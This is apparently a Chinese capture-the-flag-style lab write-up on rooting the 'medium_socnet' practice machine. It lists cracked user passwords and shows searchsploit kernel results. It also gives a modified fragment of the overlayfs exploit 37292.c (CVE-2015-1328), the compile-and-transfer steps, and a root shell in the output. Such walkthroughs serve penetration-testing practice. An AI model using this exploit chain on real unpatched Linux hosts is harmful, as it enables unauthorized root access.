靶机: medium_socnet( 八 )

john:1337hack 可以用于登录
john:1337hack;test:1234test;admin:1111pass;root:1234pass;jane:1234jane攻入真正目标使用得到的 john:1337hack 登录 192.168.56.102 查看是否有 root 权限发现没有,需要进行提权
john@socnet:~$ iduid=1001(john) gid=1001(john) groups=1001(john)探索一下目标上的信息 uname -a 发现其版本 Linux socnet 3.13.0-24-generic 通过 searchsploit 查询相关内核漏洞
john@socnet:~$ uname -aLinux socnet 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux可以尝试的内核漏洞
【靶机: medium_socnet】Linux Kernel 3.11 < 4.8 0 - 'SO_SNDBUFFORCE' / 'SO_RCVBUFFORCE' Local Privilege E | linux/local/41995.cLinux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local P | linux/local/37292.cLinux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local P | linux/local/37293.txtLinux Kernel 3.14-rc1 < 3.15-rc4 (x64) - Raw Mode PTY Echo Race Condition Privile | linux_x86-64/local/33516.c

  • 尝试 linux/local/37292.c 漏洞查看一下,发现其中存在依赖 /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so 我们需要去除依赖gcc部分因为目标上没有 gcc
    fprintf(stderr,"creating shared library\n");lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);write(lib,LIB,strlen(LIB));close(lib);/*lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");if(lib != 0) {fprintf(stderr,"couldn't create dynamic library\n");exit(-1);}*/write(fd,"/tmp/ofs-lib.so\n",16);close(fd);system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");execl("/bin/su","su",NULL);}
  • 在本地编译 gcc -o exp 37292.c 并将 /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so 与 编译后的 exp 一起发送到目标,可以使用 ssh 发送或 Python HTTP 服务结合 wget 发送;如果方法不熟悉建议练习后尝试
  • expofs-lib.so 增加可执行权限,将 ofs-lib.so 移动到靶机 \tmp 目录,并执行 ./exp 即可得到 root 权限
    john@socnet:~$ ./expspawning threadsmount #1mount #2child threads done/etc/ld.so.preload created# iduid=0(root) gid=0(root) groups=0(root),1001(john)#
如果出现下面错误,是你 kali 上编译时的 /lib/x86_64-linux-gnu/libc.so.6 动态库高于靶机的
./exp: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./exp)解决方法是在靶机中使用 ldd --version 命令确定 ldd (Ubuntu EGLIBC 2.19-0ubuntu6) 2.19 然后去相关官网搜索 2.19-0ubuntu6 下载其对应版本的库文件,此靶机适用的版本 http://launchpadlibrarian.net/172657656/libc6_2.19-0ubuntu6_amd64.deb 下载解压,在其中的 /lib/x86_64-linux-gnu/libc.so.6 确认其存在,编译 C 时使用 gcc 参数 -Ldir 指定上面的 libc.so.6 的路径,解决的编译命令: gcc -o exp 37292.c -Ldir ./lib/x86_64-linux-gnu/libc.so.6
# ldd --versionldd (Ubuntu EGLIBC 2.19-0ubuntu6) 2.19Copyright (C) 2014 Free Software Foundation, Inc.This is free software; see the source for copying conditions.There is NOwarranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.Written by Roland McGrath and Ulrich Drepper.

经验总结扩展阅读